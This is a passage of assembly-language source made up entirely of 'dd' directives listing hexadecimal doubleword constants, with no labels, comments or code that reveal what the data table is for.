0FDED03B2h, 0CFB47A82h, 480888F1h, 29C1C923h, 0A40D86Ah dd 97139FB6h, 0FFF411D0h, 0E2735C39h, 8355BFBBh, 0DCD9936Bh dd 190F6171h, 5C3F00CCh, 64C26EAFh, 7639FC12h, 0DBD16766h dd 0C0B061D6h, 0DD94524Fh, 60CE83F9h, 34B3F0B1h, 32C2929Ch dd 100E38A9h, 5C9FB0A0h, 53ADD64Fh, 8F047C9Eh, 73ABD1F4h dd 0B381AC8Eh, 54599EBAh, 0C0E3AC5Ch, 8CDE0CE5h, 0FDCE38BAh dd 3D13387Ah, 61034801h, 3FDED0CCh, 3D4A97E4h, 7E64FE29h dd 0AF3A257Ch, 745F8B93h, 0EAD14626h, 0E4A57D39h, 19C15373h dd 0E2659EDDh, 1CDB160Eh, 61FCCD65h, 0C22ABDB7h, 9C85AB5Fh dd 53C63F3Fh, 73204268h, 0A507FA0Ah, 7E74D7Dh, 0BA62ED37h dd 0BCA955F0h, 0A413FF86h, 0E6252C41h, 2BC10EE3h, 85EEA2F9h dd 0D17EE392h, 0A475435Ch, 8EE5143Dh, 0FE0A218Fh, 0F575F02Eh dd 3567F296h, 0F5F9C909h, 9F039E5Fh, 0C68C0313h, 63E69ABDh dd 54DF47F0h, 10603AF9h, 0B0E7A08Ah, 80657F4Bh, 87620D20h dd 7E47B1A8h, 22DAAEA7h, 0AD2D27DDh, 2E5140D3h, 0E18DA40Ch dd 0BC6AA994h, 0D91CB516h, 3D842E56h, 0C9A8F110h, 857FFF7Eh dd 65AD9E23h, 0BECFE67Ah, 36E18CEFh, 578A4841h, 1023B687h dd 26B40D44h, 835A81BFh, 65E2A44Ch, 0F8958CD0h, 23BB659h dd 0B125F8C0h, 0BA1855CFh, 0BF419E9Eh, 2CBC0002h, 0E0ED3613h dd 8762EC0Eh, 9FC6F980h, 0C60F1E3Dh, 581BC8FFh, 0C460F5E4h dd 0E4C3AF80h, 8CFAA127h, 83974489h, 0F2A40E5Bh, 0CD7DD0FEh dd 0F428CAFAh, 180074CEh, 0B951EA0Dh, 3D1F4477h, 0A1B3EAC6h dd 93870184h, 0CF2B0C1h, 0C7D52EE8h, 0F2A96F12h, 59BC1CECh dd 378FCCF6h, 0BC6D7CD4h, 20FFE58Eh, 0FC667FC3h, 0BCA97F0Dh dd 0C8078FBDh, 17FF8C9Eh, 0A72EDA04h, 0D30D26EBh, 395EE234h dd 0F2B6954Bh, 84125310h, 0E086A545h, 66265847h, 4A69FF7Ch dd 0AE398E93h, 0C247BED7h, 0FF451B5Bh, 76370388h, 9056467Eh dd 0E1C59C16h, 51B80768h dd 6E2819D8h, 6A345901h, 0FF684D6Bh, 0D35051C1h, 0E671B321h dd 3EEEDB11h, 53947F05h, 0CB097CFAh, 93DF8008h, 7E20C6E5h dd 0EEE8520h, 0A3954432h, 76EC79F5h, 4505FF62h, 303BD4D7h dd 50E51C07h, 11F2735h, 0D7DFDB6h, 1960AC37h, 0BDBC07C2h dd 0F36CBEE4h, 71FADE5Dh, 551CC5FFh, 0E416F918h, 0B3419A84h dd 0BCA26B0Fh, 678A152Fh, 0AC1AE9E6h, 25B9915Ch, 72AE504Fh dd 31371F23h, 9B518C57h, 0BF2DFE4Fh, 0EF2B38C6h, 0D269DC5Eh dd 231461BEh, 5E227A7h, 7E4F455Bh, 0FAD716A1h, 0B77DB3D4h dd 59381CB3h, 0E5257120h, 0D5C717D3h, 78610694h, 8292DAF9h dd 5BDF44DAh, 0BA80E587h, 0F0E95C68h, 5DDA1147h, 95A56096h dd 9E178367h, 20923014h, 0AF1FBB41h, 399B42BBh, 0B87F023Eh dd 3F8C2A33h, 40CE2ACh, 5C88A1F7h, 0E34AA837h, 2447A48Eh dd 0A75ADF77h, 71C4877h, 0D5CA7A38h, 48159EBDh, 70FB5F3h dd 0EE3200EAh, 0E60BF7C9h, 2DCCDCBFh, 9D0CD56Ch, 0C56CCC48h dd 98D066CCh, 7D5C880Ch, 24D3A70Fh, 0E7CEA4Eh, 0E149DB4Bh dd 0F715B6DBh, 3458821Fh, 0D2E918F1h, 945D750Eh, 0C371516Dh dd 0CB98AC4Fh, 325A3DC9h, 63231675h, 0D2B106D6h, 0DFBE98CBh dd 6C0D8733h, 0F8F83673h, 242828BFh, 5885675Bh, 293C0B7Eh dd 0F0DB1A22h, 1E464BA8h, 58966EE5h, 32E83655h, 15B05D32h dd 93F838E7h, 229FF3BBh, 2EEFF3BAh, 7681A3BAh, 3BBFEC08h dd 323D06FEh, 0F98156AAh, 0D702F1CCh, 483F7436h, 583F9F25h dd 84FCF703h, 886DF372h, 0CD6C72E4h, 0BC730824h, 0A7B53816h dd 28EF6292h, 0A8C60BACh, 0D96452C1h, 0B094E11Eh, 0CC8300C2h dd 67F70492h, 4491B4B8h, 4424856Fh, 740A0421h, 3C53CDE1h dd 215D4E0Dh, 16C7BEEDh, 0CB34FCFCh, 60594945h, 16BAB599h dd 3749F208h, 782FE468h, 3D9161D8h, 66E60296h, 3AB509DBh dd 1851F8A0h, 72BF238Fh, 9328BDECh, 38B917C8h, 53498DEAh dd 0B1D3712Ch, 9752EDA7h, 3D191D8Eh, 84533119h, 666B31Bh dd 0FEE3BEF1h, 0C7E7E817h, 508DC48Ch, 0F9AAF495h, 0A03DD802h dd 0B4044F4Eh, 0BA7D934Bh, 0C7A012D4h, 5AB930BCh, 2D37B916h dd 25C54A57h, 1F7147EAh, 73F56014h, 0A381A239h, 8C2175BAh dd 0F329B83Ah, 8A018FDBh, 535FE6B8h, 0B8A2D8E5h, 58240F38h dd 572A0811h, 0B3D2D2A9h, 0D51C9D8Ah, 0F20B89E0h, 0BF942959h dd 0AC0B2A51h, 0C5390FD3h, 0D2402DAFh, 0F93180C5h, 22322931h dd 0CF8EDED0h, 5E1560A1h, 9DC0F363h, 0DDFA362Ch, 0BBB917CFh dd 0C7221FD5h, 518D8776h, 5D9F68EEh, 0F7504DAAh, 0C197206Ah dd 2B368C7Fh, 2F362214h, 73A68FC2h, 9CAC7B1Bh, 8F135E47h dd 6E5D7ABFh, 53AAB32Eh, 0A1177D6Eh, 42CAF7A7h, 0B2680467h dd 86BD78FBh, 0CCAC69B7h, 9FA51B95h, 0D1975D8Bh, 0FCFBF04Eh dd 0E5927EBCh, 8CFB98B1h, 9EA3CAB9h, 0E0362485h, 29C24DA7h dd 0F479DA35h, 9716E8CCh, 7D247B17h, 4A783CBh, 7017E21Bh dd 84FFE27Ch, 6154E792h, 8B86AF7Dh, 6D992B3Eh, 5F0AA127h dd 0E92299FAh, 23B96D0Fh, 0BC286B40h, 465C20A5h, 0BCCBB5CBh dd 9E493CE1h, 76CABE1Fh, 7DECEB53h, 471D88A1h, 9CEA3D76h dd 625A0A60h, 0EA94341Bh, 3A3ED16Fh, 62DC5A5Eh, 0CD745B49h dd 0CDA9A7D2h, 9D366C4h, 595979CCh, 2970BFC8h, 2548C716h dd 8B50EB10h, 41976FA8h, 5A2FB78Eh, 1B27366Fh, 36C45Ch dd 6F9BA30Ch, 6CADFDD6h, 0A1EC1850h, 1CEF2048h, 6E5E75DEh dd 0E9A25EB2h, 0A8649EDBh, 672EF0F5h, 7EB5B063h, 7B71A941h dd 1F727DDh, 84D3FC8Ah, 0C00E4C29h, 656C5A00h, 0D6406F70h dd 22F5FEADh, 0BE806B1Ch, 0E83B73A1h, 9EC09F77h, 0D096DB24h dd 82A1FD99h, 0B4DD3E10h, 0EC5C75DFh, 2ABB6437h, 0AF318F63h dd 5921E91Fh, 3F0055A8h, 0B1205A7Bh, 0B8D9D8E3h, 0E5BE185Ah dd 36897358h, 7E85A495h, 3D288A8h, 73CB948Eh, 0C1D732EDh dd 27585380h, 3A217A81h, 0CD410613h, 0E977EC97h, 3D455C8Ch dd 0D71C7EDBh, 74B4949Fh, 76D69457h, 0AF8CF075h, 730EF245h dd 2996786Eh, 15F127DAh, 70234081h, 0B497DABFh, 7E95BA2Bh dd 0F0D9E010h, 4173C7C3h, 26D1C5EBh, 99C77EFCh, 22A28A30h dd 5CBA9C0h, 43E7B14Fh, 9A91F3A2h, 5DBAF24Ch, 77B3AE14h dd 1BFB3EDAh, 9EC56D95h, 90163CAh, 0A935AECFh, 813F9BC2h dd 5AE78491h, 8D806167h, 0BF629C67h, 0E409243h, 0FF921DABh dd 886FAE4Ah, 0BE69D273h, 0EC670E38h, 77D96DDEh, 2441F974h dd 0B73C8660h, 1E916Ch, 0D2F2E538h, 2BE2120Dh, 0FBE58E34h dd 223463E2h, 8E89FA95h, 88E6D2DBh, 63DC908h, 580D3FBBh dd 0A6E64D7h, 5F6C5AA0h, 0C3E49B0Ah, 0FB5D286Fh, 0F7F59001h dd 6D6057B4h, 356844EAh, 2440DCEDh, 25B2D4ABh, 765EEBC0h dd 327A7144h, 105A7540h, 23B6BD93h, 710184BAh, 0EC27A1BCh dd 0E8CDCAF3h, 18720C62h, 2C5EF387h, 400F7ACAh, 35DAADC6h dd 0CF569C28h, 39B9DE94h, 0BB3C8755h, 775203D9h, 60526339h dd 0F3C51654h, 0BEB066EDh, 3EEBAE37h, 6B1C55B1h, 2828C06Ah dd 0F4CF5E0Dh, 11A4DBCBh, 0F7E2160Eh, 0C39CC48Fh, 3B85A963h dd 4FD99FB2h, 1C1DBB1Eh, 0C324ED1Fh, 720C9AD5h, 136FF3E2h dd 8E24EED7h, 0AC7F29BFh, 0A0AD0D56h, 5C896DF6h, 0C1DC2A90h dd 5AA3A830h, 9B8D18BDh, 6272DA87h, 0C38F3884h, 0B62A9801h dd 61F24C5Fh, 3D439D86h, 0EDAFF4F6h, 1F24FCB7h, 594838BFh dd 7404CB8h, 264C1C41h, 0FEA9917Ah, 1627BEA5h, 0CBDABAF3h dd 0E802AD32h, 0A69C3166h, 0DEEFB374h, 0F39B6D9Eh, 7566B504h dd 48249D3Bh, 463FE0BEh, 0EBFFE108h, 8356A6AAh, 0C7255E86h dd 15A55811h, 1BAEDAABh, 638D7F92h, 0A9840E9Ch, 0E9A8EF0Bh dd 3E6217FBh, 9F0C9A79h, 0E76651F1h, 0C2FB7C13h, 0CF383F9Ch dd 0C9657134h, 31C8A936h, 0DC2250F5h, 0F6C7D410h, 0CE303E6Fh dd 52862C33h, 0FAB4F2B6h, 3FCD8D4h, 536ADFEDh, 0B59616EFh dd 64BD154h, 8806B70Ah, 969A149Ah, 0DC20681Dh, 73D8EDA9h dd 0D0614036h, 0C915CCD8h, 9D31F88Ah, 0B0FB65B9h, 0E261FBEBh dd 2EE5CBA0h, 6118048Fh, 5603598h, 0BE34955Ch, 12CC6811h dd 5A8E57ABh, 2A1630B4h, 48810462h, 1EE3F8Ch, 65758106h dd 9BEB0463h, 4ECEA48Bh, 0A0BB956Fh, 66458746h, 914DC2A9h dd 8AD17FE8h, 0CF323D13h, 0EF152949h, 0D893EDBAh, 38F5FFEh dd 1ACAA1CDh, 0F318F1A5h, 0B30FE520h, 0C3AB7FC5h, 85165A36h dd 14A4A964h, 0BFD43D09h, 6A5DFF9Ch, 0D0BE9A3Bh, 4CA8B473h dd 0AAFB8B0Ch, 0C90BCE65h, 6E852407h, 0CF14B43Dh, 0E927CB51h dd 585A36E8h, 23686A35h, 8238CACCh, 38B5471Eh, 0F2B4D363h dd 5C510E7Bh, 920E4333h, 66C01C2Dh, 2048EF9Ah, 6265C058h dd 0F5C258C0h, 0A55C3F8h, 15311A2Bh, 55D0E802h, 0A644541Dh dd 21C02179h, 741ABE4Ch, 0E9644605h, 78A78290h, 0E11F541Eh dd 0A31276E3h, 651768F9h, 0A08C2C8Ch, 892A1AF8h, 8CEC6CFCh dd 9B250665h, 0C72551BDh, 37B74382h, 0C0192264h, 5465741h dd 222D5635h, 0B0ADD11Eh, 0E5E5D83Bh, 76111CE5h, 49925871h dd 0F4B5CA4h, 0BF2C436Ah, 22DF5E5Eh, 7B5DCBF0h, 0E37F3396h dd 8A87B6E0h, 0D9487F94h, 8E83D517h, 7884F9C2h, 900AA0BCh dd 76805070h, 0EC701793h, 272164F5h, 1871E7A9h, 7DD14EB6h dd 2F8DE75Ah, 7479C6F7h, 67EBBA2Fh, 5369B3BAh, 0DF1C62Bh dd 9E249CFFh, 9FDB94CFh dd 6FBD7D8Fh, 8294B347h, 2DBC9E3Ch, 31B78837h, 45132FDCh dd 0B674FF23h, 8E15DE61h, 15D9FAD3h, 0A14E84F2h, 54966C4Ch dd 3457A1CAh, 0D1B50607h, 0DC82F8BCh, 8DA7D4CFh, 0C647B7DAh dd 0D36A2B5Fh, 5D221B69h, 0C6E20EBDh, 52FE438Ch, 486EFBCCh dd 0CFDB82Eh, 0A1CAB05Eh, 0D63A0B86h, 0D6F90ACh, 727813B4h dd 3F0F9BA1h, 0E9C140A9h, 66CA67C7h, 0CE74863Ah, 0A36418AAh dd 0BB3864F5h, 53D67E24h, 7C650C44h, 0AB5E5ED6h, 28FE0BF6h dd 0CAD37E41h, 9F77A9D6h, 0F8EC6AEFh, 2802317Bh, 7D415D95h dd 0A24E9642h, 952F05D7h, 31B3FC23h, 222C50EAh, 6278AA7Dh dd 0F12AB8D3h, 43BA7E37h, 85560864h, 3D45D00Fh, 467114FAh dd 70B429AEh, 0FE209D36h, 84C7A9DAh, 8F17E956h, 81302E00h dd 0E8BF5EFCh, 0E4B5975Ch, 62195456h, 2C00255Bh, 0AD119322h dd 0F4C9D273h, 0EA10A486h, 0BC03BB7Ch, 1FD8CD55h, 0AFDCE66Ah dd 0E4C55ECCh, 0F9D5F1C9h, 47BF41C1h, 0F2F403E4h, 7EA6BFEDh dd 0FB8AC912h, 0E13E76CCh, 7684779Fh, 22601ECCh, 0E57F9386h dd 0A2A82FB5h, 9A49B022h, 60C2040h, 0E10043FFh, 0D9D844D4h dd 769F23D4h, 0FC438C3Fh, 4A6F5D24h, 0BC47CD03h, 72C5B94Dh dd 0D1DE3EA0h, 6D766209h, 0CD461B6Fh, 0CADBB238h, 18880168h dd 85A675C1h, 0FB8BCDAEh, 127D19D4h, 7AB9EABEh, 870445D5h dd 0DA8ED261h, 87A9F68h, 57A29B83h, 0BBB4F74Dh, 0F97E009Bh dd 0BFFA1DE7h, 2DA26BABh, 0A040C534h, 7CFF350Dh, 512225FCh dd 5AC6723Ch, 37D65196h, 499340A5h, 0E204C2B1h, 0E3346628h dd 0F7ECA509h, 0BCF262FBh, 4396719Fh, 73C1EF01h, 0A348E4BBh dd 0EE8EA61Dh, 0AF5C0257h, 75BECBFAh, 9A0321F6h, 0C917D721h dd 652FE201h, 54E6E7B2h, 0AD55F23Dh, 0E54D955Ah, 0BE04764Fh dd 4979CA73h, 0BBFBD361h, 0F8FEEACh, 65DFC467h, 0FB3E8795h dd 822A97F7h, 7A3E2B9Fh, 0CF898AA9h, 95DC04D2h, 4091694Eh dd 60A4D3B2h, 89F32C60h, 0AED2C5FDh, 21038837h, 8EF74CFCh dd 73B4A971h, 0D843F8A5h, 0C337D52Ah, 0DE757EA3h, 0CD7F1DFFh dd 74F0472Dh, 3D99AB43h, 0C837DDBEh, 0CB4DF7F4h, 1C38FCADh dd 0A6C38A40h, 0BFB1FEE9h, 2F35CCAh, 0C5777CC8h, 0C3775E1Eh dd 0A7405CE4h, 0C563CCB7h, 887E2Bh, 0A61F36Fh, 8FC8701Eh dd 0A98A3A14h, 94908D18h, 555CCF09h, 3D76CD04h, 390B3Ch dd 0EC32AE86h, 0D52934D8h, 0A857F743h, 514414E5h, 0D738EE2h dd 0B23FE037h, 0F3966A62h, 38A1DA13h, 0CAF56A8Dh, 0FB84D58Ah dd 87ADF37Ah, 0A7E3D77h, 6DCD8761h, 0F5430BB9h, 9C5E688h dd 5448C9EAh, 0EB483862h, 0C4C227CAh, 0CAC1003Fh, 0AF196A05h dd 2445F797h, 79549C6Ch, 39B79F53h, 0EA9A82CEh, 0A4095BDBh dd 30222268h, 4BA09956h, 9834B395h, 8F3AA293h, 0D479B0Eh dd 0EFC54A46h, 7FBE9EB2h, 32D7DA22h, 4D6876EEh, 945E4D60h dd 26B10C6Bh, 346E8740h, 49D76ED2h, 760E89B9h, 1F6FB916h dd 862B3110h, 41D45E92h, 0B22ECF44h, 8EE85F5h, 9C5F3936h dd 0E8D57455h, 83DE25E2h, 0CE3FD329h, 7FBE5BFAh, 0A441FFEEh dd 0FBE02307h, 0E7D5BC40h, 5BBB784Fh, 5A21BC78h, 0A8B22746h dd 0B7F9AF57h, 7F0F6475h, 77A5272Dh, 8EEB61BCh, 0BF4BD624h dd 0A83D587Fh, 517D13ECh, 35AD4C03h, 0F65E914Ch, 4052A2C5h dd 0C54A60ACh, 80BD73DBh, 0B4107D34h, 0FE5C78CDh, 295641F9h dd 0AFD921A6h, 5C2BA86Bh, 0E6127BAh, 0B759A48Bh, 0AA304C40h dd 4E5F694Eh, 0BC6C79AEh, 82C9D04Dh, 52843D28h, 0E9FAA184h dd 0DC859893h, 65AD3CF0h, 43B1E3A5h, 74733781h, 323CC04Eh dd 8CE205EDh, 86DE2625h, 9B73DB68h, 6E2D07BAh, 0F2F53AACh dd 0E0054634h, 0E5C81D0Ah, 5921419Fh, 7250D4CBh, 53B29E36h dd 0E15667F8h, 29AAE63Dh, 0BCA59CCh, 1B401F8Dh, 7F630526h dd 1A2309CEh, 0C0DAC6E5h, 70B592Dh, 10DB124Eh, 17DCFB51h dd 1DA280C5h, 62F6E755h, 3C9073C4h, 0D656C58Dh, 432A9068h dd 8F58934Bh, 29C6BF9h, 0FDE2BA6Dh, 77A7DF4Ch, 0CD3888EBh dd 0E410CA3Ch, 0EFDFD3D8h, 9EE404EDh, 94FBD475h, 0A707E708h dd 4841F189h, 0ED19053Dh, 5330A5CCh, 8A5DDA05h, 41A79472h dd 0CEA5BFD1h, 893BFCFBh, 0C0C859B7h, 94F7ED57h, 677693A7h dd 0D5115340h, 90F44A1Ch, 5EC014DDh, 0D3AAC3B0h, 2DF927B7h dd 59577C43h, 39407E25h, 61EB352Bh, 401EE49Dh, 0B30B270Ch dd 0C066FCE0h, 0DC289AF5h, 7F809DC9h, 0DCC8E185h, 3EB52E43h dd 5D54E913h, 6C76E926h, 0F7BAD6BDh, 983E47E0h, 0FEBF9343h dd 0E9C956FBh, 0F471C2Dh, 0C0688295h, 94362F44h, 19D60F6Fh dd 5D6CB6DFh, 1058364Bh, 0FFEF106Eh, 97DD6266h, 0DED503EFh dd 3DFCB145h, 43EE47B8h, 761479DCh, 0FB81F921h, 1D5A7CA6h dd 232C04Eh, 7A7A0DFAh, 0A0C337BDh, 1D3C6CABh, 5557D299h dd 0DE95455Bh, 877830AEh, 5AB90494h, 6399BEA8h, 12F75803h dd 88D2CAF1h, 39849467h, 258480BAh, 741E869h, 9F90A624h dd 0EDB0FDB3h, 60F35B30h, 5D2E928Ch, 0BF3B815Fh, 0F8D839D8h dd 0F4E14423h, 31055324h, 0F005C2D3h, 1FD42161h, 54821329h dd 0A0C27F51h, 236D6DCFh, 49C2DF8Bh, 7518308h, 15AA3AFFh dd 809BFD67h, 6809205Eh, 0AB3E2F20h, 6E3BEA6h, 6F22BA63h dd 0BBC60C75h, 7D12BDBFh, 0E3880D9h, 0F8CFC04Ch, 0F9191515h dd 7211CA15h, 28FA2C9Dh, 0ADAEA6DBh, 0B8B6A65Ah, 0D6990A8h dd 0DAD71174h, 7B55082Dh, 4122B5D0h, 0F5D9E202h, 85186E17h dd 0DEB84DF6h, 0B41F300Ch, 409E2750h, 0E405763Bh, 924AC936h dd 3882970Fh, 0C7D9FB10h, 0EB69DFEBh, 94B6BE4Fh, 8BB2253Bh dd 56CC389Ch, 0C7FDBD38h, 4B32ADBh, 1B2EE22Fh, 0ABBFEBBFh dd 6C5DC5B2h, 7E34B1FBh, 3CC7AAA1h, 20880171h, 0DEFE6869h dd 0BAEDE767h, 9F0A4E9Ah, 0CEE2CA31h, 0F66E6B28h, 5BE06471h dd 0F2906BCDh, 81018A24h, 751B7772h, 0FB210A98h, 0D2CFCAE2h dd 8033F1E6h, 187D4E6Eh, 45C7A4B3h, 4CC3860Fh, 91383530h dd 7DFC6D6Fh, 0D36A98A4h, 355AC2A8h, 652B453h, 0C7125081h dd 0A6831195h, 0CDA55CCh, 3ADE58D7h, 0CE17A448h, 4AF5B60Fh dd 0DF19BD68h, 5C06D86Fh, 14D4081Eh, 6AB428DCh, 0ED9F38Ch dd 0AA87E760h, 0B075FA26h, 0A21B9DA3h, 555878F8h, 81BECBEh dd 0B6C8DBEBh, 0E6F8865Ah, 33415FC9h, 91E05FA1h, 33C8D69Fh dd 0D32B5975h, 0E3E4E9A2h, 4A68D927h, 69E7AFB6h, 408DED8Fh dd 0DB16C3D4h, 0AE1CA012h, 0F852B1A1h, 8E6D745Eh, 9D84FA8Ah dd 2F483F7Eh, 6D1830F6h, 10B57CC1h, 6CD5FDB0h, 0C18C743Eh dd 18EE09D3h, 0B9FBC4C3h, 4524B0Ch, 1B5CEE97h, 0ECC606B2h dd 788EF563h, 0D0970EECh, 0CC7737B1h, 906580CEh, 0E7145080h dd 90C35DDDh, 9D7BA73Dh, 3C7FEC91h, 5956FC6Dh, 183B0E9Fh dd 0B6C6DF7h, 0E39C572Ch, 0BAB1A27Bh, 379A6F2Ah, 4886347Fh dd 1DB3D859h, 0B3B7F7B7h, 0BE85C943h, 0A709A246h, 8D41757h dd 28AA9314h, 9A23D762h, 3BEF3B9Ah, 0A7139DACh, 0EF2DC9E2h dd 677F4179h, 0C665594Fh, 420B1ED4h, 6C45452h, 0F4395D3Fh dd 1EF354F1h, 80A08887h, 0B1AFB954h, 86E5A03Eh, 0B75FB75Fh dd 605ACAF7h, 87A50D17h, 23131B1Ah, 19F57C1Ch, 77CBE12Dh dd 24D489E4h, 0CEAB18F8h, 0BB086D23h, 0FBDC1E98h, 709D39F9h dd 2DEC09FAh, 0BCA8EA7Dh, 1E3C5150h, 51741BC7h, 0A8E0FB41h dd 671A5548h, 0A4BC3908h dd 0C0FD1231h, 8B7AC0E8h, 0D3DDA61Ch, 5FE6DEECh, 0C5F8D499h dd 8772FDFFh, 9A88EFD6h, 6302EFC1h, 24519FC3h, 0CE2207C2h dd 55C17652h, 19EE3152h, 9E209D0Bh, 0F749E1CEh, 0D544CD4Ah dd 804CC4F8h, 0DE1CEC1Fh, 0E368957Dh, 89EB6038h, 76475DD8h dd 0E9FC09F8h, 421A4D7Ch, 931FE4BCh, 0E90465Eh, 0A5E4B3B9h dd 4EE72D86h, 0B5B5481Dh, 0D7559BCAh, 4893CBD6h, 18AE0E52h dd 4FC089DDh, 0FB0B33ECh, 1CD008FCh, 21D4B15Bh, 0FAA95BBDh dd 0C5A36FF4h, 0D45E7F59h, 0AB496A00h, 0E6B19545h, 3D74A3A3h dd 5DC6C2D1h, 2AC64AFh, 50DAB866h, 0BEA08074h, 1222AFC6h dd 8CD16B75h, 0FD7C33F1h, 0EBD98BB8h, 39E41E6Ch, 363D2D70h dd 2C6DFA88h, 0EED740FAh, 0FC76A596h, 7E270AF2h, 7B933E96h dd 63411C9Eh, 0E05C32BAh, 95BEBA8Fh, 8FF32022h, 529AC08Eh dd 63128891h, 26690EC8h, 91808C40h, 75920D0Fh, 0C9529C56h dd 0EAAA6628h, 37F88F39h, 5D07C3DFh, 0EDCB3D7Fh, 21A78082h dd 1A4B5AEAh, 0BD6BDD9h, 0E61094A2h, 2C6F5B5Fh, 2DDF0E22h dd 0DC88EBAFh, 842E71B6h, 0CE0F4976h, 88B4B41Dh, 0E30583C4h dd 0D411B34Ah, 0C5A3943h, 0E869B6C4h, 0F3D527C9h, 9C0814D0h dd 0D302F7EBh, 7D4CFC87h, 3DED9C46h, 0D62454Fh, 0E57B8B36h dd 0B79B6856h, 354532D6h, 5342A501h, 332FF79Eh, 0F811FB0Bh dd 8749303Ch, 0E7DC9C8Eh, 0C537A03Ah, 0AE93855Eh, 11F3C37Eh dd 0F523C96h, 99085901h, 0D2BC90FEh, 894340A6h, 9A5D7A4Dh dd 7658EE17h, 4D90AA67h, 3128FED3h, 0D2B515E2h, 0B4BD2EB5h dd 343DC06Eh, 7F2DE457h, 1C145D01h, 12E6A8CCh, 74AD9BEDh dd 0D7B45C4h, 0C8D7CF31h, 2B2706A3h, 31CD6567h, 0B5DCF210h dd 5432F868h, 0A0417089h, 0A8047464h, 0D55B0C8Bh, 0DD7A8EB3h dd 96C41781h, 2354AFC6h, 6AB8B0E3h, 0A38A9CA9h, 0B4F1B10Fh dd 150427DAh, 15A286BEh, 0A03BE42Eh, 86EDD68Ah, 0A7192A3Ah dd 0EBD7382Fh, 0C1C34FFBh, 50AA28DEh, 0A211E022h, 0D1A1F452h dd 79386FA6h, 63982B6Bh, 13314C86h, 6813A6E5h, 236AC87Ah dd 85FFE1F4h, 5DFC5300h, 0F6D6ABA5h, 921776F0h, 664F5292h dd 6530A721h, 821177BEh, 5ADDF043h, 847C246Bh, 5F2170D9h dd 92C433E9h, 0C011C134h, 2972C2EEh, 5DCA109Eh, 7D85C507h dd 4611C1E3h, 0B5E7FCA4h, 0FAE5C456h, 7AC698C8h, 0EF2135A4h dd 17FF64A7h, 1C52A928h, 0ED9BFAE1h, 0A2BB6D95h, 228B8B8Dh dd 633EAFC1h, 696E45A2h, 0BA43856Ch, 0E42B9A47h, 0E2437C1Eh dd 2F397066h, 6176C3E3h, 74AA10BBh, 76F673CCh, 5103A26Ah dd 9C2B29FFh, 0B96FBB7Eh, 503BA2B1h, 0D2B04203h, 0C6EF1836h dd 0E994FBD2h, 499DBD04h, 5FF7A335h, 33B3DD8Bh, 133EC8E5h dd 0DE05FE03h, 0FBEEA814h, 494ACBBCh, 262CA143h, 0FBBF5925h dd 0E2AACE0Eh, 86D12110h, 4D46491Dh, 0C8881B92h, 943813AEh dd 8D01D6F3h, 5632322Dh, 0B645BB95h, 87FFC2EAh, 8C4A341Eh dd 0A2AFF3B4h, 93BD5B21h, 0B3D21808h, 79020526h, 6A48A4BCh dd 368DA099h, 0DA718EEFh, 67FDC533h, 3F99452Dh, 802E7217h dd 843066A6h, 60981519h, 5ABFCFEFh, 0DD029C2Bh, 3FD17158h dd 54AAB1B9h, 4C1B871Eh, 0B6EC3106h, 0B88D93EDh, 0BFC95423h dd 7C008574h, 9F6850FBh, 0F4237840h, 9E1E2188h, 0AE2D539Ah dd 0C6BA24EDh, 985CA0F4h, 2B037EEDh, 0FA0DFFA5h, 493DF026h dd 0AEB9A32Ah, 91D608C1h, 6F8271B9h, 5D3CCB4Dh, 0DB7F7492h dd 32BA5DD1h, 69142661h, 0B357BA01h, 0E3550755h, 0D4F61041h dd 0D066B6AEh, 785E6283h, 24364272h, 0E7150056h, 0DA34874Dh dd 0C8BC6F13h, 5D67A19Fh, 7C27DB48h, 0BFBA0BAEh, 16EC1561h dd 0DABBF8C3h, 17C33F8h, 0D49FF540h, 8D4FDF5h, 2B867E28h dd 22CC47Eh, 41C25142h, 0D6C7B55Ah, 27C06D11h, 5693E2D5h dd 705C854Fh, 6F82C344h, 13A0C729h, 0A37CE49Fh, 0EE53F52Ah dd 0D9549923h, 8F87DDD6h, 91D307D2h, 0EF300D3h, 0DAC33DCEh dd 94A8FDE1h, 95D292A8h, 6B88CCE0h, 0D927E49Ch, 44CD4CDFh dd 0BBFE56CAh, 5833D25Ah, 4A1E3B68h, 4C2B749h, 29DD7B99h dd 5EC11C33h, 0B9FBF7Dh, 21C7C981h, 0C477ABFAh, 963AC379h dd 0DB96998Ah, 3ECDC29Ch, 0B52A4DADh, 549A51A9h, 0A60DEB11h dd 77934379h, 7570C856h, 15AB193Ch, 80BBCE0Dh, 843A0387h dd 0DDEF9509h, 570B0ED3h, 573B80F0h, 0D2D67C62h, 0DB2A9CB4h dd 0FE084A14h, 0D5F4BA98h, 43DC249Ch, 9D2629DCh, 96C2C157h dd 959E4D2Ch, 355D1B28h, 4713A02Eh, 0AC1777BBh, 0C3EAEBD9h dd 3684E737h, 41E172ACh, 99B923Ch, 33EBD024h, 3D438F77h dd 0D2B05B5h, 3863A8DCh, 186CD55Ah, 0AB7C9DCDh, 99727735h dd 38B86EBFh, 28A16FAAh, 5C6AD2AFh, 91AE26B6h, 0CF3EF26h dd 58A15C05h, 63F67326h, 0C1D323D9h, 55E70CD4h, 0F3F3ED8Ah dd 8C791986h, 88124477h, 1735B191h, 3A00E0BBh, 0CFA93C8Ah dd 0F23BDA87h, 612985A0h, 941C66Fh, 0E6A59493h, 89BB8798h dd 0F9823C9Fh, 9309EFE1h, 1E93ED41h, 7E13826Ch, 2FDB1262h dd 16B9E209h, 0F05FAFE5h, 4600ABD7h, 90868A78h, 0EC3A3DE5h dd 0A02FEACAh, 28E6464Ah, 58A7AAB1h, 4C299CA8h, 0E3ADD23Bh dd 7BDEB714h, 591AEF7h, 1C46DFA4h, 78125E80h, 5EA5A764h dd 6C655DB6h, 77B51F87h, 0FD1F86F6h, 379AF3D2h, 7EF0FB33h dd 9FFC2E5Dh, 81584D4Fh, 0AB7A9417h, 8B330975h, 7B86E3F3h dd 83B715Eh, 32E3EAF1h, 0C456BD7Fh, 32651C2Ah, 4A2BE1DCh dd 0F516D9F8h, 98BEE067h, 23BB9ACEh, 624960E1h, 0DC29EC51h dd 37362E90h, 1D5AE475h, 74D51211h, 761CAB9Ah, 7858276Ch dd 0FF7F2525h, 931E6E40h, 2F102FE2h, 791D0CC5h, 914BDE1Ch dd 0F78B38F8h, 0CB241F55h, 9DF21DBFh, 5D6D9BBAh, 0FC7DEBBAh dd 42892BF4h, 0A787B9A6h, 3D321BC5h, 0D8B346BCh, 3CDEA449h dd 498199F4h, 0B241459h, 0F6A22672h, 0B6F8B89Fh, 1FF5D430h dd 309ACD3Dh, 25D64DAFh, 83116D1Ah, 0F8404D0Eh, 1DFDD35Ch dd 0F30E69CCh, 1343A33h, 32254805h, 